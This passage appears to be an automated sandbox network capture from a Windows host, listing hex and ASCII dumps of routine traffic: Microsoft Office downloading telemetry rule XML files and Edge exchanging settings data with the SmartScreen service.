2024-11-23 00:14:31 UTC	16384	IN	Data Raw: e6 2c b7 a9 5c 69 a3 75 af d9 ba f6 11 ea 58 64 70 1a 03 5a 75 5c b5 f2 6d d4 e3 16 ed 7d 0a 76 94 c1 8e a7 30 9e 08 64 07 27 9d 18 c0 52 7d e4 67 ff 5d dd ba 83 b1 dc 5d 98 95 9f fd f7 4f 5a 26 c7 8a 7a a4 2b 67 ea ac d1 ee 4b f3 ee 5b 7c 55 87 5f ce 64 5a d1 d6 85 f4 9d 84 43 1d a5 d1 4e 33 c2 52 b6 ac ef d9 7f de 15 61 44 a2 b6 4f fe 03 39 27 95 29 d1 71 16 47 ff 7e 40 2f ff 09 6e 49 c5 ba 2c 58 72 fd b4 fc 2b 2f d4 a3 80 7f e2 4e fd ca 3b f8 f4 09 87 9a 38 33 24 7f 45 a2 7e d3 4f 4e 87 8c cb 8b 02 7f df 7f ff 57 75 a1 22 3d 51 a9 78 41 7d 1b c5 f8 9b d0 7f 72 fc 7d ff 85 6a 70 ab 5e dc aa 41 ca 56 bd b0 55 00 76 02 c7 a0 ea 57 7d b2 c3 fb 0a b5 58 bd 1f ab f6 63 d5 ec bd 82 b3 c7 5f d5 89 ed 15 3f f6 0a e5 7d 86 bf 7b f2 4f 82 f3 1a ea 09 06 a9 c9 03 Data Ascii: ,\iuXdpZu\m}v0d'R}g]]OZ&z+gK[\|U_dZCN3RaDO9')qG~@/nI,Xr+/N;83$E~ONWu"=QxA}r}jp^AVUvW}Xc_?}{O
2024-11-23 00:14:31 UTC	16384	IN	Data Raw: 34 82 9b a9 e1 c3 b1 e1 46 87 99 95 55 9a b4 be 3b 59 b1 6b f9 9e 4a 6a 38 c3 9d 71 93 60 68 53 6d 70 93 f4 d8 cb 92 d6 1c 64 0c 55 29 d1 f7 86 61 3a 23 da d5 06 e4 b2 85 18 31 bb 0e 46 71 38 52 33 8f 24 f5 9e 43 1a 6d 32 5a be 90 91 0a d3 47 69 32 eb 74 ec 30 03 b3 0a 2f 45 60 14 c3 56 8c 9b d3 2c f6 4c cc 87 6e 54 d0 da 28 ed 5d 8d 3a 4d 4a aa f1 2e 74 2f 9f 56 e9 a4 49 86 4c 15 33 4f 70 79 ad 9c 27 57 fe 5f f1 b5 af dc 2b a5 7e 6a ff d6 06 bc 0c 5d f6 df fe e1 b9 f2 44 21 e0 ef 42 ef 50 c9 9d 6d c4 b7 e0 a2 c1 1c b4 2f 36 29 c7 0d cd c5 5f 01 b2 80 f3 b0 10 3b 89 01 c5 9d d8 7c 07 2e 18 db 27 d6 4f f2 63 9c b0 f6 f2 ae c9 8b 6c b2 c4 37 76 c1 ad 55 68 26 ab 9f 6e 0d f6 97 8b d0 7b ae f0 47 ed 5d 9f e5 af 8e d0 8d 25 c1 76 f1 dc 48 82 c0 c8 4e c8 12 40 Data Ascii: 4FU;YkJj8q`hSmpdU)a:#1Fq8R3$Cm2ZGi2t0/E`V,LnT(]:MJ.t/VIL3Opy'W_+~j]D!BPm/6)_;\|.'Ocl7vUh&n{G]%vHN@
2024-11-23 00:14:31 UTC	16384	IN	Data Raw: 14 85 b6 9f 56 47 3e e9 1b d3 5f a5 ac 50 c3 87 e4 2f 7d 48 49 98 d9 64 0e 08 ef 71 ff 50 b9 f3 86 37 4a 22 88 52 55 4a 91 92 53 0e 3c c2 3f 65 33 a3 28 fd 5a 9a 2e 91 76 ec f5 34 94 dc 1a 84 a2 be c1 0e 7a 8b 67 39 3e 58 c7 23 2c 7e 30 2a a9 04 8f 00 e5 ea b9 90 8e 19 22 31 4f 88 ac 1a 1f 76 bd 44 ab b4 23 ff 6a 0e 16 d3 4b 19 b1 5f 46 1a 8c 28 02 0b 82 4d 75 9f bc a7 ab d3 c0 ac 12 2c 1a e1 ca 61 62 a5 73 bf 90 ea 26 30 cc b6 60 ae a5 03 4b 60 ea 7c b9 bf 27 e4 0d 14 35 5a 3a 2d d3 09 b2 1d da a4 23 ee 1b c6 42 eb 6f 46 58 98 31 2d 33 81 d2 c7 b9 ea 4a e4 45 53 f8 1b 85 d6 9a f9 1c dd e5 4a cf 08 96 59 af e8 ce 28 b3 02 0e 0d ee 14 62 4a 58 2a 40 44 d3 12 5b 39 93 33 26 50 17 82 cc e2 88 1a 71 ab dd fe 3c 12 6a 79 40 5e 32 8d a6 25 53 15 5e 3f 60 3e a6 Data Ascii: VG>_P/}HIdqP7J"RUJS<?e3(Z.v4zg9>X#,~0"1OvD#jK_F(Mu,abs&0`K`\|'5Z:-#BoFX1-3JESJY(bJX@D[93&Pq<jy@^2%S^?`>

Session ID	Source IP	Source Port	Destination IP	Destination Port
44	192.168.2.5	49821	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 00:14:30 UTC	192	OUT	GET /rules/rule120625v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 00:14:30 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 00:14:30 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:42 GMT ETag: "0x8DC582B9748630E" x-ms-request-id: ca5e5154-001e-0014-4e4e-3c5151000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T001430Z-15b8b599d88l2dpthC1TEBmzr0000000024g000000008hvs x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 00:14:30 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 46 66 5d 5b 55 75 5d 5b 4a 6a 5d 5b 49 69 5d 5b 54 74 5d 5b 53 73 5d 5b 55 75 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120625" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120623" /> <SR T="2" R="([Ff][Uu][Jj][Ii][Tt][Ss][Uu])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
45	192.168.2.5	49827	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 00:14:30 UTC	192	OUT	GET /rules/rule120629v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 00:14:30 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 00:14:30 GMT Content-Type: text/xml Content-Length: 428 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:17 GMT ETag: "0x8DC582BAC4F34CA" x-ms-request-id: 57389be4-e01e-0003-606c-3c0fa8000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T001430Z-174c587ffdf6b487hC1TEBydsn00000001z000000000ud3d x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 00:14:30 UTC	428	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4d 6d 5d 5b 49 69 5d 5b 43 63 5d 5b 52 72 5d 5b 4f 6f 5d 2d 5b 53 73 5d 5b 54 74 5d 5b 41 61 5d 5b 52 72 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120629" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120627" /> <SR T="2" R="([Mm][Ii][Cc][Rr][Oo]-[Ss][Tt][Aa][Rr])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
46	192.168.2.5	49826	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 00:14:30 UTC	192	OUT	GET /rules/rule120628v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 00:14:30 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 00:14:30 GMT Content-Type: text/xml Content-Length: 468 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:51 GMT ETag: "0x8DC582B9C8E04C8" x-ms-request-id: 70a27cfa-201e-0051-248c-3a7340000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T001430Z-174c587ffdfcj798hC1TEB9bq400000002b00000000095fs x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 00:14:30 UTC	468	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120628" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120627" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
47	192.168.2.5	49824	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 00:14:30 UTC	192	OUT	GET /rules/rule120626v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 00:14:30 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 00:14:30 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:53 GMT ETag: "0x8DC582B9DACDF62" x-ms-request-id: 2b92647c-c01e-00a2-646f-3b2327000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T001430Z-174c587ffdfldtt2hC1TEBwv9c0000000230000000001y7u x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 00:14:30 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120626" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120625" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
48	192.168.2.5	49825	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 00:14:30 UTC	192	OUT	GET /rules/rule120627v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 00:14:30 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 00:14:30 GMT Content-Type: text/xml Content-Length: 404 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:54 GMT ETag: "0x8DC582B9E8EE0F3" x-ms-request-id: f19b5380-801e-0015-2749-3cf97f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T001430Z-15b8b599d88hd9g7hC1TEBp75c000000022000000000fs7k x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 00:14:30 UTC	404	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 4e 6e 5d 5b 45 65 5d 5b 43 63 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 20 3c 53 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120627" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120625" /> <SR T="2" R="^([Nn][Ee][Cc])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true"> <S

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
49	192.168.2.5	49829	172.183.192.109	443	3620	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-23 00:14:30 UTC	698	OUT	POST /api/browser/edge/data/settings/3 HTTP/1.1 Host: data-edge.smartscreen.microsoft.com Connection: keep-alive Content-Length: 725 Accept: application/octet-stream;application/x-patch-bsdiff; Authorization: SmartScreenHash eyJhdXRoSWQiOiI0MWE0MzhiYy0xMjQ5LTQzZDMtYTI2ZC02OWNkNjJjMDgzMTciLCAia2V5IjoiYU5oY1VnbEt6Rnk5eXdtbGJTbk03Zz09IiwgImhhc2giOiJJK3pFOHhsZituOD0ifQ== Content-Type: application/json; charset=utf-8 If-None-Match: "2.0-0" Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept-Encoding: gzip, deflate, br
2024-11-23 00:14:30 UTC	725	OUT	Data Raw: 7b 22 69 64 65 6e 74 69 74 79 22 3a 7b 22 75 73 65 72 22 3a 7b 22 6c 6f 63 61 6c 65 22 3a 22 65 6e 2d 47 42 22 7d 2c 22 64 65 76 69 63 65 22 3a 7b 22 69 64 22 3a 6e 75 6c 6c 2c 22 63 75 73 74 6f 6d 49 64 22 3a 6e 75 6c 6c 2c 22 6f 6e 6c 69 6e 65 49 64 54 69 63 6b 65 74 22 3a 6e 75 6c 6c 2c 22 66 61 6d 69 6c 79 22 3a 33 2c 22 6c 6f 63 61 6c 65 22 3a 22 65 6e 2d 47 42 22 2c 22 6f 73 56 65 72 73 69 6f 6e 22 3a 22 31 30 2e 30 2e 31 39 30 34 35 2e 32 30 30 36 2e 76 62 5f 72 65 6c 65 61 73 65 22 2c 22 62 72 6f 77 73 65 72 22 3a 7b 22 69 6e 74 65 72 6e 65 74 5f 65 78 70 6c 6f 72 65 72 22 3a 22 39 2e 31 31 2e 31 39 30 34 31 2e 30 22 7d 2c 22 6e 65 74 4a 6f 69 6e 53 74 61 74 75 73 22 3a 32 2c 22 65 6e 74 65 72 70 72 69 73 65 22 3a 7b 7d 2c 22 63 6c 6f 75 64 53 6b Data Ascii: {"identity":{"user":{"locale":"en-GB"},"device":{"id":null,"customId":null,"onlineIdTicket":null,"family":3,"locale":"en-GB","osVersion":"10.0.19045.2006.vb_release","browser":{"internet_explorer":"9.11.19041.0"},"netJoinStatus":2,"enterprise":{},"cloudSk
2024-11-23 00:14:30 UTC	302	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 00:14:30 GMT Content-Type: application/octet-stream Content-Length: 130439 Connection: close Server: Kestrel ETag: "2.0-48b11410dc937a1723bf4c5ad33ecdb286d8ec69544241bc373f753e64b396c1" Request-Context: appId=cid-v1:46ea1a4d-29cb-4e7e-a1ff-735721467fe3
2024-11-23 00:14:30 UTC	16082	IN	Data Raw: 7b 0d 0a 20 20 22 67 65 6f 69 64 4d 61 70 73 22 3a 20 7b 0d 0a 20 20 20 20 22 61 75 22 3a 20 22 68 74 74 70 73 3a 2f 2f 61 75 73 74 72 61 6c 69 61 2e 73 6d 61 72 74 73 63 72 65 65 6e 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 2f 22 2c 0d 0a 20 20 20 20 22 63 68 22 3a 20 22 68 74 74 70 73 3a 2f 2f 73 77 69 74 7a 65 72 6c 61 6e 64 2e 73 6d 61 72 74 73 63 72 65 65 6e 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 2f 22 2c 0d 0a 20 20 20 20 22 65 75 22 3a 20 22 68 74 74 70 73 3a 2f 2f 65 75 72 6f 70 65 2e 73 6d 61 72 74 73 63 72 65 65 6e 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 2f 22 2c 0d 0a 20 20 20 20 22 66 66 6c 34 22 3a 20 22 68 74 74 70 73 3a 2f 2f 75 6e 69 74 65 64 73 74 61 74 65 73 31 2e 73 73 2e 77 64 2e 6d 69 63 72 6f 73 6f 66 74 2e 75 73 2f 22 2c 0d 0a Data Ascii: { "geoidMaps": { "au": "https://australia.smartscreen.microsoft.com/", "ch": "https://switzerland.smartscreen.microsoft.com/", "eu": "https://europe.smartscreen.microsoft.com/", "ffl4": "https://unitedstates1.ss.wd.microsoft.us/",
2024-11-23 00:14:30 UTC	16384	IN	Data Raw: 20 20 20 20 20 20 20 20 20 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 6b 65 79 22 3a 20 22 30 39 63 34 37 36 32 37 62 63 35 33 33 62 35 39 32 34 61 30 35 35 61 30 34 62 63 34 63 33 33 65 22 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 76 61 6c 75 65 22 3a 20 39 2e 35 38 33 34 34 30 31 37 37 34 34 37 38 34 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 6b 65 79 22 3a 20 22 65 36 33 34 65 62 32 30 64 62 35 30 38 65 33 61 33 31 62 36 31 34 38 31 61 32 35 31 62 66 39 33 22 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 76 61 6c 75 65 22 3a 20 2d 30 2e 33 33 37 30 36 38 35 39 32 37 38 32 37 33 35 0d 0a 20 20 20 20 20 20 20 20 20 20 20 Data Ascii: { "key": "09c47627bc533b5924a055a04bc4c33e", "value": 9.58344017744784 }, { "key": "e634eb20db508e3a31b61481a251bf93", "value": -0.337068592782735
2024-11-23 00:14:31 UTC	16384	IN	Data Raw: 30 37 37 37 34 37 33 33 30 39 35 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 6b 65 79 22 3a 20 22 31 32 62 62 65 66 63 30 35 64 35 31 34 32 65 37 65 62 36 38 36 66 61 64 38 64 65 61 39 32 31 31 22 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 76 61 6c 75 65 22 3a 20 2d 31 2e 30 35 37 31 37 37 35 33 31 31 38 30 39 34 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 6b 65 79 22 3a 20 22 63 65 35 66 62 38 64 66 31 32 35 61 34 37 32 31 64 31 64 66 33 32 38 62 63 36 66 32 64 64 65 61 22 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 76 61 6c 75 65 22 3a Data Ascii: 07774733095 }, { "key": "12bbefc05d5142e7eb686fad8dea9211", "value": -1.05717753118094 }, { "key": "ce5fb8df125a4721d1df328bc6f2ddea", "value":
2024-11-23 00:14:31 UTC	16384	IN	Data Raw: 20 2d 31 2e 39 30 31 33 34 36 37 39 37 33 36 34 32 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 6b 65 79 22 3a 20 22 66 32 33 35 64 63 66 36 62 34 32 39 62 61 34 31 36 64 63 65 37 34 64 34 62 36 66 62 63 34 37 62 22 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 76 61 6c 75 65 22 3a 20 31 2e 32 36 30 31 38 31 31 38 35 36 30 38 38 34 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 6b 65 79 22 3a 20 22 63 38 66 31 37 64 37 34 30 33 61 63 35 66 66 32 38 39 36 61 37 31 33 61 37 31 37 35 65 64 31 39 22 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 76 61 Data Ascii: -1.9013467973642 }, { "key": "f235dcf6b429ba416dce74d4b6fbc47b", "value": 1.26018118560884 }, { "key": "c8f17d7403ac5ff2896a713a7175ed19", "va
2024-11-23 00:14:31 UTC	16384	IN	Data Raw: 36 62 64 32 65 65 33 36 63 30 33 66 36 66 22 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 76 61 6c 75 65 22 3a 20 35 2e 38 35 39 38 36 34 33 39 33 34 36 35 37 36 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 6b 65 79 22 3a 20 22 65 66 64 32 61 66 36 30 63 38 35 30 31 39 33 31 63 62 39 63 37 33 36 62 35 61 64 37 34 66 36 35 22 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 76 61 6c 75 65 22 3a 20 33 2e 39 35 36 39 39 35 33 35 33 36 34 30 30 33 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 6b 65 79 22 3a 20 22 32 63 38 34 38 35 34 38 64 34 36 30 63 Data Ascii: 6bd2ee36c03f6f", "value": 5.85986439346576 }, { "key": "efd2af60c8501931cb9c736b5ad74f65", "value": 3.95699535364003 }, { "key": "2c848548d460c
2024-11-23 00:14:31 UTC	16384	IN	Data Raw: 20 22 6b 65 79 22 3a 20 22 65 31 36 38 36 30 37 38 64 31 62 36 30 64 33 35 31 64 61 35 61 38 37 35 34 33 61 32 61 36 36 33 22 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 76 61 6c 75 65 22 3a 20 37 2e 35 30 36 36 35 35 32 34 32 36 32 35 35 31 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 6b 65 79 22 3a 20 22 33 61 33 34 31 37 66 35 66 32 30 61 30 33 61 39 38 39 37 33 36 38 39 38 38 37 66 62 37 32 61 32 22 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 76 61 6c 75 65 22 3a 20 2d 31 2e 37 34 39 32 32 35 31 37 36 34 32 37 39 34 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7b 0d 0a 20 20 20 20 20 20 20 Data Ascii: "key": "e1686078d1b60d351da5a87543a2a663", "value": 7.50665524262551 }, { "key": "3a3417f5f20a03a98973689887fb72a2", "value": -1.74922517642794 }, {
2024-11-23 00:14:31 UTC	16384	IN	Data Raw: 20 20 20 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 6b 65 79 22 3a 20 22 62 30 64 61 32 37 35 35 32 30 39 31 38 65 32 33 64 64 36 31 35 65 32 61 37 34 37 35 32 38 66 31 22 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 76 61 6c 75 65 22 3a 20 2d 30 2e 39 37 36 31 34 30 37 39 32 39 31 35 33 37 33 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 6b 65 79 22 3a 20 22 63 66 61 62 31 62 61 38 63 36 37 63 37 63 38 33 38 64 62 39 38 64 36 36 36 66 30 32 61 31 33 32 22 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 76 61 6c 75 65 22 3a 20 2d 31 2e 31 31 37 38 37 35 38 36 30 34 35 30 39 34 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 2c 0d 0a Data Ascii: { "key": "b0da275520918e23dd615e2a747528f1", "value": -0.976140792915373 }, { "key": "cfab1ba8c67c7c838db98d666f02a132", "value": -1.11787586045094 },
